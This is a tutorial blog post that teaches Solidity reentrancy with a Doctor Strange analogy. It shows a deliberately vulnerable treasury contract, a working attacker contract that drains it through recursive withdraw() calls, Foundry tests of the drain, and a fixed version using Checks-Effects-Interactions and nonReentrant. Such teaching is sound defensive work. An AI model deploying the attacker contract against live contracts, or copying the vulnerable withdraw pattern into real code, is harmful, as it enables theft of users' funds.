Logo
Overview
Doctor Strange vs Dormammu - The Reentrancy Time-Loop Explained (CEI Case Study)

Doctor Strange vs Dormammu - The Reentrancy Time-Loop Explained (CEI Case Study)

November 20, 2025
5 min read

🌀 Doctor Strange vs Dormammu - Reentrancy Exploit Case Study

Danger (Dormammu, I’ve come to bargain.)

Over and over and over and over and over…
Until the treasury is empty.
Exactly what a reentrancy loop does - drains your treasury until nothing is left.

TL;DR

Bug: Balance is cleared after sending ETH → attacker re-enters mid-execution. Impact: Full treasury drain. Infinite loop until balance = 0. Root Cause: Violating Checks-Effects-Interactions (CEI). Fix: Move state updates before external calls + use nonReentrant.


🎬 Story Time

In Doctor Strange (2016), Strange traps Dormammu in a time loop. Every time Dormammu ends Strange, the loop resets and Strange returns.

Reentrancy works the same way:

  • Dormammu = contract with vulnerable withdraw()
  • Doctor Strange = attacker contract
  • Time Stone = fallback that “loops” back into withdraw() before state updates

Strange wins through repetition - so does a reentrancy attacker.

All code available in the repo.

🕳️ Vulnerable Contract - Why It Fails

DormammuTreasuryVulnerable.sol
contract DormammuTreasuryVulnerable {
mapping(address => uint256) public balanceOf;
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balanceOf[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balanceOf[msg.sender];
require(amount > 0, "no balance");
// ← External call BEFORE state update → reentrancy window
(bool sent,) = payable(msg.sender).call{value: amount}("");
require(sent, "send failed");
// Too late, Strange already re-entered
balanceOf[msg.sender] = 0;
}
function treasuryBalance() external view returns (uint256) {
return address(this).balance;
}
}
Warning

Critical flaw: the contract sends ETH before clearing the balance. This gives attacker-controlled contracts execution control while balanceOf still shows funds.
If the recipient is a contract with a receive() or fallback(), it gets control while the treasury still thinks the user has a balance.

The Attacker - Controlled Time Loop

TimeStone.sol
contract TimeStone {
DormammuTreasuryVulnerable public treasury;
address public owner;
uint256 public rewardAmount;
constructor(address _vuln) {
treasury = DormammuTreasuryVulnerable(_vuln);
owner = msg.sender;
}
function attack() external payable {
require(msg.sender == owner, "Only the Sorcerer Supreme");
require(msg.value > 0, "Need seed ETH");
treasury.deposit{value: msg.value}();
rewardAmount = msg.value;
treasury.withdraw(); // ← starts the loop
}
// Re-enter here as long as treasury still holds funds
receive() external payable {
if (address(treasury).balance >= rewardAmount) {
treasury.withdraw(); // ← “I’ve come to bargain.”
}
}
function collect() external {
require(msg.sender == owner);
payable(owner).transfer(address(this).balance);
}
}

Attack Flow

  1. Strange deposits 1 ETH → now eligible to withdraw
  2. Strange calls withdraw()
  3. Treasury sends 1 ETH before clearing balance
  4. TimeStone.receive() triggers → calls withdraw() again
  5. Repeat until treasury empty → “Dormammu, I’ve come to bargain… again.”

Reentrancy Attack Flow

Fixed Contract - CEI + ReentrancyGuard

DormammuTreasuryFixed.sol
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract DormammuTreasuryFixed is ReentrancyGuard {
mapping(address => uint256) public balanceOf;
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balanceOf[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balanceOf[msg.sender];
require(amount > 0, "no balance");
// Effects BEFORE interaction
balanceOf[msg.sender] = 0;
// Now safe to send
(bool sent, ) = payable(msg.sender).call{value: amount}("");
require(sent, "send failed");
}
}

Now even if the recipient re-enters, either:

  • CEI already cleared the balance → withdraw does nothing
  • nonReentrant instantly reverts the whole tx

Foundry Tests

ReentrancyDormammuTest.t.sol
contract ReentrancyDormammuTest is Test {
25 collapsed lines
DormammuTreasuryVulnerable treasury;
DormammuTreasuryFixed fixedTreasury;
TimeStone stone;
TimeStone timeStoneFixed;
address public Doctor_Strange = makeAddr("Doctor Strange");
function setUp() public {
treasury = new DormammuTreasuryVulnerable();
fixedTreasury = new DormammuTreasuryFixed();
// Fund treasuries with 20 ETH from other citizens
vm.deal(address(this), 50 ether);
treasury.deposit{value: 20 ether}();
fixedTreasury.deposit{value: 20 ether}();
// Deploy attack contracts
vm.prank(Doctor_Strange);
stone = new TimeStone(address(treasury));
vm.deal(address(Doctor_Strange), 5 ether);
vm.prank(Doctor_Strange);
timeStoneFixed = new TimeStone(address(fixedTreasury));
}
function testStrangeDrainsDormammu() public {
uint256 initialTreasury = address(treasury).balance;// 20 ETH
vm.prank(Doctor_Strange);
stone.attack{value: 1 ether}();
vm.prank(Doctor_Strange);
stone.collect();
uint256 remainingTreasury = address(treasury).balance;
assertLt(remainingTreasury, 20 ether);
}
function testFixedTreasuryResists() public {
uint256 initialTreasury = address(fixedTreasury).balance;
assertEq(initialTreasury, 20 ether);
vm.prank(Doctor_Strange);
vm.expectRevert(); // nonReentrant catches the second call
timeStoneFixed.attack{value: 1 ether}();
assertEq(address(fixedTreasury).balance, 20 ether);
}
}

Real-World Victims (2024–2025)

-2025)

  • GMX - $40M (July 9, 2025) - Cross-function reentrancy in order execution
  • Penpie - $27M (Sep 2024) - Fake tokens + reentrancy in reward distribution

Same bug. Different year.

Auditor’s Checklist

Warning
  • Does any function write state after external calls?
  • Does ANY code path allow callbacks (ERC777, hooks, fallback, onReceive)?
  • Are multiple external functions sharing the same state (shared balance)?
  • Are dangerous primitives (call, delegatecall, token callbacks) guarded?
  • Are attacker contracts included in test suite?
  • Any function that transfers ETH missing nonReentrant?

Recommendations

  1. Always follow Checks → Effects → Interactions
  2. Always use nonReentrant on withdrawal/mint/burn/callback functions
  3. Use pull-payment pattern when possible
  4. Test with attacker contracts - every single time

Quiz - Test Your Sorcery

Exercise (1. What makes the treasury vulnerable?)

a) Missing access control
b) Using call instead of transfer
c) External call before balance = 0
d) Public deposit function

Answer

c) External call before balance = 0 → opens reentrancy window

Exercise (2. Which completely stops the attack?)

a) Using transfer (2300 gas)
b) Adding a timelock
c) nonReentrant modifier
d) Making withdraw internal

Answer

c) nonReentrant (or pure CEI - but guard is safer with many functions)

Exercise (3. What happens to the treasury?)

a) Funds frozen
b) Funds drained repeatedly
c) Only attacker’s funds stolen
d) Contract self-destructs

Answer

b) Funds drained repeatedly - “I’ve come to bargain” until empty

Tip

Full code + SVG + tests in the repo:
github.com/thesandf/thesandf.xyz

Dormammu was defeated by a loop. Your contract will be too - unless you respect CEI.